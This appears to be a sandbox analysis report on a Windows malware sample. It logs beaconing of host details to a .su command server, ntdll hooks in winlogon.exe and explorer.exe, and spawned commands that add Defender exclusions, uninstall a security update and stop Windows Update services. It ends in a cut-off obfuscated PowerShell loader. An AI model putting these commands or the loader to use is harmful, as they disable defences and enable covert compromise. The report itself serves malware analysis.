2024-10-10 02:56:13 UTC	163	IN	Data Raw: 39 64 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 36 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a Data Ascii: 9d<html><head><title>405 Not Allowed</title></head><body><center><h1>405 Not Allowed</h1></center><hr><center>nginx/1.26.1</center></body></html>
2024-10-10 02:56:13 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.6	65331	188.114.97.3	443	2248	C:\Windows\System32\dialer.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-10 02:57:07 UTC	212	OUT	POST /api/endpoint.php HTTP/1.1 Accept: / Connection: close Content-Length: 595 Content-Type: application/json Host: jaiodsnvzxkxcz5hvxzkighiwagfew9oi0d3219v687dyfsdg.su User-Agent: cpp-httplib/0.12.6
2024-10-10 02:57:07 UTC	595	OUT	Data Raw: 7b 22 69 64 22 3a 22 61 79 6d 68 64 61 6b 71 79 74 76 63 65 69 77 76 22 2c 22 63 6f 6d 70 75 74 65 72 6e 61 6d 65 22 3a 22 37 34 35 37 37 33 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 53 59 53 54 45 4d 22 2c 22 67 70 75 22 3a 22 5a 38 42 50 53 45 33 4f 48 22 2c 22 63 70 75 22 3a 22 49 6e 74 65 6c 28 52 29 20 43 6f 72 65 28 54 4d 29 32 20 43 50 55 20 36 36 30 30 20 40 20 32 2e 34 30 20 47 48 7a 2c 20 49 6e 74 65 6c 28 52 29 20 43 6f 72 65 28 54 4d 29 32 20 43 50 55 20 36 36 30 30 20 40 20 32 2e 34 30 20 47 48 7a 22 2c 22 72 65 6d 6f 74 65 63 6f 6e 66 69 67 22 3a 22 68 74 74 70 73 3a 2f 2f 72 65 6e 74 72 79 2e 63 6f 2f 35 61 70 66 39 38 6f 73 2f 72 61 77 2c 68 74 74 70 73 3a 2f 2f 6a 75 73 74 70 61 73 74 65 2e 69 74 2f 66 38 36 76 31 2c 68 74 74 70 73 3a 2f Data Ascii: {"id":"aymhdakqytvceiwv","computername":"745773","username":"SYSTEM","gpu":"Z8BPSE3OH","cpu":"Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHz, Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHz","remoteconfig":"https://rentry.co/5apf98os/raw,https://justpaste.it/f86v1,https:/
2024-10-10 02:57:08 UTC	624	IN	HTTP/1.1 405 Not Allowed Date: Thu, 10 Oct 2024 02:57:08 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=VZvUmHtEtanfA3fmmeqr5Yjgaq4acZ1vBplSwP%2FoxwaEJbtvcRMaAbgMonrfwOEAOGBjDWSbWOy0%2BwgFZKSjsp1W%2BmWhdNr%2BQji7jBtv3o%2Fgwu6VxGywegWw%2F5XUEObjjCq2Hjar5npj56895jeyU%2FUB%2FqcVi2txUNAzAjSO0sfCJJ0QjwzS"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d03575968d44390-EWR alt-svc: h3=":443"; ma=86400
2024-10-10 02:57:08 UTC	163	IN	Data Raw: 39 64 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 36 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a Data Ascii: 9d<html><head><title>405 Not Allowed</title></head><body><center><h1>405 Not Allowed</h1></center><hr><center>nginx/1.26.1</center></body></html>
2024-10-10 02:57:08 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
6	192.168.2.6	65333	188.114.97.3	443

Timestamp	Bytes transferred	Direction	Data
2024-10-10 02:58:14 UTC	212	OUT	POST /api/endpoint.php HTTP/1.1 Accept: / Connection: close Content-Length: 582 Content-Type: application/json Host: jaiodsnvzxkxcz5hvxzkighiwagfew9oi0d3219v687dyfsdg.su User-Agent: cpp-httplib/0.12.6
2024-10-10 02:58:14 UTC	582	OUT	Data Raw: 7b 22 69 64 22 3a 22 61 79 6d 68 64 61 6b 71 79 74 76 63 65 69 77 76 22 2c 22 63 6f 6d 70 75 74 65 72 6e 61 6d 65 22 3a 22 37 34 35 37 37 33 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 53 59 53 54 45 4d 22 2c 22 67 70 75 22 3a 22 5a 38 42 50 53 45 33 4f 48 22 2c 22 63 70 75 22 3a 22 49 6e 74 65 6c 28 52 29 20 43 6f 72 65 28 54 4d 29 32 20 43 50 55 20 36 36 30 30 20 40 20 32 2e 34 30 20 47 48 7a 2c 20 49 6e 74 65 6c 28 52 29 20 43 6f 72 65 28 54 4d 29 32 20 43 50 55 20 36 36 30 30 20 40 20 32 2e 34 30 20 47 48 7a 22 2c 22 72 65 6d 6f 74 65 63 6f 6e 66 69 67 22 3a 22 68 74 74 70 73 3a 2f 2f 72 65 6e 74 72 79 2e 63 6f 2f 35 61 70 66 39 38 6f 73 2f 72 61 77 2c 68 74 74 70 73 3a 2f 2f 6a 75 73 74 70 61 73 74 65 2e 69 74 2f 66 38 36 76 31 2c 68 74 74 70 73 3a 2f Data Ascii: {"id":"aymhdakqytvceiwv","computername":"745773","username":"SYSTEM","gpu":"Z8BPSE3OH","cpu":"Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHz, Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHz","remoteconfig":"https://rentry.co/5apf98os/raw,https://justpaste.it/f86v1,https:/
2024-10-10 02:58:14 UTC	614	IN	HTTP/1.1 405 Not Allowed Date: Thu, 10 Oct 2024 02:58:14 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=c1S7GJRSQ5DQRD7mcfSrKY6SGLG8fqygXvbaAtbEerkbfVplfd2%2BBWQSndHWxprFx4hS8F9PYhKiu43jgbVRMnM1dLr5uVGs62rKYeA0jveLA0TmIEiEqLBndsEby1zuuvf%2BHKcBbm1QvcClMOhRCW3xPnlNTqBltkirUc9l7YsqmeTLtCB%2F"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d0358f7de1443e9-EWR alt-svc: h3=":443"; ma=86400
2024-10-10 02:58:14 UTC	163	IN	Data Raw: 39 64 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 36 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a Data Ascii: 9d<html><head><title>405 Not Allowed</title></head><body><center><h1>405 Not Allowed</h1></center><hr><center>nginx/1.26.1</center></body></html>
2024-10-10 02:58:14 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Code Manipulations

User Modules

Hook Summary

Function Name	Hook Type	Active in Processes
ZwEnumerateKey	INLINE	winlogon.exe, explorer.exe
NtQuerySystemInformation	INLINE	winlogon.exe, explorer.exe
ZwResumeThread	INLINE	winlogon.exe, explorer.exe
NtDeviceIoControlFile	INLINE	winlogon.exe, explorer.exe
ZwDeviceIoControlFile	INLINE	winlogon.exe, explorer.exe
NtEnumerateKey	INLINE	winlogon.exe, explorer.exe
NtQueryDirectoryFile	INLINE	winlogon.exe, explorer.exe
ZwEnumerateValueKey	INLINE	winlogon.exe, explorer.exe
ZwQuerySystemInformation	INLINE	winlogon.exe, explorer.exe
NtResumeThread	INLINE	winlogon.exe, explorer.exe
RtlGetNativeSystemInformation	INLINE	winlogon.exe, explorer.exe
NtQueryDirectoryFileEx	INLINE	winlogon.exe, explorer.exe
NtEnumerateValueKey	INLINE	winlogon.exe, explorer.exe
ZwQueryDirectoryFileEx	INLINE	winlogon.exe, explorer.exe
ZwQueryDirectoryFile	INLINE	winlogon.exe, explorer.exe

Processes

Process: winlogon.exe, Module: ntdll.dll

Function Name	Hook Type	New Data
ZwEnumerateKey	INLINE	0xE9 0x9C 0xC3 0x32 0x2C 0xCF
NtQuerySystemInformation	INLINE	0xE9 0x9C 0xC3 0x32 0x2A 0xAF
ZwResumeThread	INLINE	0xE9 0x9A 0xA3 0x32 0x27 0x7F
NtDeviceIoControlFile	INLINE	0xE9 0x90 0x03 0x33 0x34 0x4F
ZwDeviceIoControlFile	INLINE	0xE9 0x90 0x03 0x33 0x34 0x4F
NtEnumerateKey	INLINE	0xE9 0x9C 0xC3 0x32 0x2C 0xCF
NtQueryDirectoryFile	INLINE	0xE9 0x9A 0xA3 0x32 0x2B 0xBF
ZwEnumerateValueKey	INLINE	0xE9 0x90 0x03 0x33 0x31 0x1F
ZwQuerySystemInformation	INLINE	0xE9 0x9C 0xC3 0x32 0x2A 0xAF
NtResumeThread	INLINE	0xE9 0x9A 0xA3 0x32 0x27 0x7F
RtlGetNativeSystemInformation	INLINE	0xE9 0x9C 0xC3 0x32 0x2A 0xAF
NtQueryDirectoryFileEx	INLINE	0xE9 0x97 0x73 0x30 0x0A 0xAF
NtEnumerateValueKey	INLINE	0xE9 0x90 0x03 0x33 0x31 0x1F
ZwQueryDirectoryFileEx	INLINE	0xE9 0x97 0x73 0x30 0x0A 0xAF
ZwQueryDirectoryFile	INLINE	0xE9 0x9A 0xA3 0x32 0x2B 0xBF

Process: explorer.exe, Module: ntdll.dll

Function Name	Hook Type	New Data
ZwEnumerateKey	INLINE	0xE9 0x9C 0xC3 0x32 0x2C 0xCF
NtQuerySystemInformation	INLINE	0xE9 0x9C 0xC3 0x32 0x2A 0xAF
ZwResumeThread	INLINE	0xE9 0x9A 0xA3 0x32 0x27 0x7F
NtDeviceIoControlFile	INLINE	0xE9 0x90 0x03 0x33 0x34 0x4F
ZwDeviceIoControlFile	INLINE	0xE9 0x90 0x03 0x33 0x34 0x4F
NtEnumerateKey	INLINE	0xE9 0x9C 0xC3 0x32 0x2C 0xCF
NtQueryDirectoryFile	INLINE	0xE9 0x9A 0xA3 0x32 0x2B 0xBF
ZwEnumerateValueKey	INLINE	0xE9 0x90 0x03 0x33 0x31 0x1F
ZwQuerySystemInformation	INLINE	0xE9 0x9C 0xC3 0x32 0x2A 0xAF
NtResumeThread	INLINE	0xE9 0x9A 0xA3 0x32 0x27 0x7F
RtlGetNativeSystemInformation	INLINE	0xE9 0x9C 0xC3 0x32 0x2A 0xAF
NtQueryDirectoryFileEx	INLINE	0xE9 0x97 0x73 0x30 0x0A 0xAF
NtEnumerateValueKey	INLINE	0xE9 0x90 0x03 0x33 0x31 0x1F
ZwQueryDirectoryFileEx	INLINE	0xE9 0x97 0x73 0x30 0x0A 0xAF
ZwQueryDirectoryFile	INLINE	0xE9 0x9A 0xA3 0x32 0x2B 0xBF

Target ID:	0
Start time:	22:55:57
Start date:	09/10/2024
Path:	C:\Users\user\Desktop\egFMhHSlmf.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\Desktop\egFMhHSlmf.exe"
Imagebase:	0x7ff687bc0000
File size:	5'536'856 bytes
MD5 hash:	1417D38C40D85D1C4EB7FAD3444CA069
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	22:55:57
Start date:	09/10/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
Imagebase:	0x7ff6e3d50000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	22:55:57
Start date:	09/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	22:56:01
Start date:	09/10/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
Imagebase:	0x7ff70b4f0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	22:56:01
Start date:	09/10/2024
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\sc.exe stop UsoSvc
Imagebase:	0x7ff6db4c0000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	22:56:01
Start date:	09/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	22:56:01
Start date:	09/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	22:56:01
Start date:	09/10/2024
Path:	C:\Windows\System32\wusa.exe
Wow64 process (32bit):	false
Commandline:	wusa /uninstall /kb:890830 /quiet /norestart
Imagebase:	0x7ff7c7170000
File size:	345'088 bytes
MD5 hash:	FBDA2B8987895780375FE0E6254F6198
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	22:56:01
Start date:	09/10/2024
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\sc.exe stop WaaSMedicSvc
Imagebase:	0x7ff6db4c0000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	22:56:01
Start date:	09/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	22:56:01
Start date:	09/10/2024
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\sc.exe stop wuauserv
Imagebase:	0x7ff6db4c0000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	22:56:01
Start date:	09/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	22:56:01
Start date:	09/10/2024
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\sc.exe stop bits
Imagebase:	0x7ff6db4c0000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	22:56:01
Start date:	09/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	22:56:01
Start date:	09/10/2024
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\sc.exe stop dosvc
Imagebase:	0x7ff6db4c0000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	22:56:02
Start date:	09/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	22:56:02
Start date:	09/10/2024
Path:	C:\Windows\System32\powercfg.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
Imagebase:	0x7ff63a330000
File size:	96'256 bytes
MD5 hash:	9CA38BE255FFF57A92BD6FBF8052B705
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	22:56:02
Start date:	09/10/2024
Path:	C:\Windows\System32\powercfg.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
Imagebase:	0x7ff66e660000
File size:	96'256 bytes
MD5 hash:	9CA38BE255FFF57A92BD6FBF8052B705
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	22:56:02
Start date:	09/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	22:56:02
Start date:	09/10/2024
Path:	C:\Windows\System32\powercfg.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
Imagebase:	0x7ff63a330000
File size:	96'256 bytes
MD5 hash:	9CA38BE255FFF57A92BD6FBF8052B705
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	22:56:02
Start date:	09/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	22:56:02
Start date:	09/10/2024
Path:	C:\Windows\System32\powercfg.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
Imagebase:	0x7ff63a330000
File size:	96'256 bytes
MD5 hash:	9CA38BE255FFF57A92BD6FBF8052B705
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	22:56:02
Start date:	09/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	22:56:02
Start date:	09/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	22:56:02
Start date:	09/10/2024
Path:	C:\Windows\System32\dialer.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\dialer.exe
Imagebase:	0x7ff712e80000
File size:	39'936 bytes
MD5 hash:	B2626BDCF079C6516FC016AC5646DF93
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	27
Start time:	22:56:02
Start date:	09/10/2024
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\sc.exe delete "GoogleUpdateTaskMachineQC"
Imagebase:	0x7ff6db4c0000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	28
Start time:	22:56:02
Start date:	09/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	29
Start time:	22:56:02
Start date:	09/10/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:OkULRfyuHQtJ{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$DHHElPDheRwtsc,[Parameter(Position=1)][Type]$RGuqRFFAmI)$xKbDjiiiAOv=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+[Char](82)+'e'+[Char](102)+''+[Char](108)+''+'e'+''+'c'+'t'+'e'+''+[Char](100)+''+[Char](68)+''+[Char](101)+''+'l'+''+[Char](101)+''+'g'+''+'a'+'t'+[Char](101)+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+''+[Char](110)+''+[Char](77)+''+[Char](101)+''+[Char](109)+'o'+[Char](114)+'yMo'+'d'+''+[Char](117)+''+[Char](108)+''+[Char](101)+'',$False).DefineType('My'+'D'+'el'+[Char](101)+''+[Char](103)+'a'+'t'+''+'e'+''+[Char](84)+'yp'+[Char](101)+'',''+[Char](67)+''+[Char](108)+''+'a'+'ss'+[Char](44)+'Pu'+'b'+'l'+[Char](105)+''+[Char](99)+''+','+''+[Char](83)+''+'e'+'a'+'l'+''+'e'+'d,'+[Char](65)+'ns'+'i'+''+[Char](67)+''+[Char](108)+'as'+[Char](115)+''+[Char](44)+''+[Char](65)+''+'u'+''+[Char](116)+''+'o'+''+[Char](67)+''+[Char](108)+''+'a'+''+'s'+'s',[MulticastDelegate]);$xKbDjiiiAOv.DefineConstructor(''+[Char](82)+''+[Char](84)+''+'S'+''+[Char](112)+''+[Char](101)+'c'+[Char](105)+''+'a'+''+[Char](108)+''+[Char](78)+''+[Char](97)+''+'m'+'e,'+'H'+'i'+[Char](100)+''+[Char](101)+''+[Char](66)+'y'+[Char](83)+''+[Char](105)+'g'+[Char](44)+'P'+[Char](117)+'b'+'l'+''+[Char](105)+'c',[Reflection.CallingConventions]::Standard,$DHHElPDheRwtsc).SetImplementationFlags(''+[Char](82)+''+'u'+''+[Char](110)+''+[Char](116)+'i'+[Char](109)+''+[Char](101)+''+','+'Man'+'a'+'g'+[Char](101)+''+[Char](100)+'');$xKbDjiiiAOv.DefineMethod(''+[Char](73)+''+[Char](110)+'v'+'o'+''+[Char](107)+''+[Char](101)+'',''+[Char](80)+''+'u'+''+[Char](98)+''+[Char](108)+'ic'+','+''+[Char](72)+''+'i'+''+[Char](100)+''+[Char](101)+''+'B'+'y'+[Char](83)+''+'i'+'g'+','+'N'+[Char](101)+'w'+'S'+''+[Char](108)+''+[Char](111)+'t'+','+''+'V'+''+[Char](105)+''+[Char](114)+''+'t'+''+[Char](117)+''+[Char](97)+''+[Char](108)+'',$RGuqRFFAmI,$DHHElPDheRwtsc).SetImplementationFlags(''+'R'+''+[Char](117)+''+'n'+''+[Char](116)+''+[Char](105)+''+[Char](109)+''+[Char](101)+',Ma'+[Char](110)+''+'a'+''+[Char](103)+'e'+'d'+'');Write-Output $xKbDjiiiAOv.CreateType();}$HPsmfKkDEZPEO=([AppDomain]::CurrentDomain.GetAssemblies()\|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+[Char](83)+'y'+'s'+''+[Char](116)+''+[Char](101)+''+[Char](109)+''+[Char](46)+''+'d'+''+[Char](108)+''+[Char](108)+'')}).GetType('M'+[Char](105)+'c'+[Char](114)+''+'o'+'s'+'o'+''+[Char](102)+''+[Char](116)+''+[Char](46)+''+[Char](87)+''+[Char](105)+''+[Char](110)+''+'3'+''+[Char](50)+''+[Char](46)+'U'+'n'+''+'s'+''+[Char](97)+''+[Char](102)+''+[Char](101)+''+[Char](78)+''+[Char](97)+''+'t'+''+'i'+''+'v'+''+[Char](101)+''+[Char](77)+''+[Char](101)+''+[Char](116)+'h'+[Char](111)+''+[Char](100)+''+[Char](115)+'');$AzPrwzsUpDJMwf=$HPsmfKkDEZPEO.GetMethod(''+[Char](71)+''+[Char](101)+''+'t'+'P'+[Char](114)+''+[Char](111)+'cA'+'d'+'d'+[Char](114)+'e'+[Char](115)+''+[Char](115)+'',[Reflection.BindingFlags](''+'P'+''+'u'+''+[Char](98)+''+[Char](108)+'i'+[Char](99)+''+','+''+[Char](83)+''+[Char](116)+''+[Char](97)+''+'t'+''+[Char](105)+''+'c'+''),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$PKjZFAJMrKtEHtCAQET=OkULRfyuHQtJ @([String])([IntPtr]);$TwfHJfbEiJESflVXJDRdie=OkULRfyuHQtJ 